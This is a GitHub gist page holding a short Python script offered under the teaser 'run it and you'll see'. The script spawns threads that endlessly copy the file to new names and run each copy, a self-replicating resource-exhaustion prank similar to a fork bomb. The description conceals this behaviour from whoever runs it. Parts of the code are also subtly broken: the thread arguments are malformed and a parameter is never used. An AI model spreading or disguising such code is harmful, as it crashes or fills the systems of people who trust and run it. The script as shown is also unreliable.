Skip to content

Instantly share code, notes, and snippets.

@joshdabosh
Created August 29, 2018 18:01
Show Gist options
  • Save joshdabosh/267ee81cfa3e1d08eb41b5238ec24950 to your computer and use it in GitHub Desktop.
Save joshdabosh/267ee81cfa3e1d08eb41b5238ec24950 to your computer and use it in GitHub Desktop.
run it and you'll see
import threading
import shutil
import subprocess
import os
def copyfile(folder):
x = 0
while True:
shutil.copy(__file__, "file{}.py".format(x))
subprocess.call("python3 file{}.py".format(x))
x+=1
for i in range(4):
os.makedirs("folder{}".format(i))
t = threading.Thread(target=copyfile,args=("./folder{}".format(i)))
t.daemon = True
t.start()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment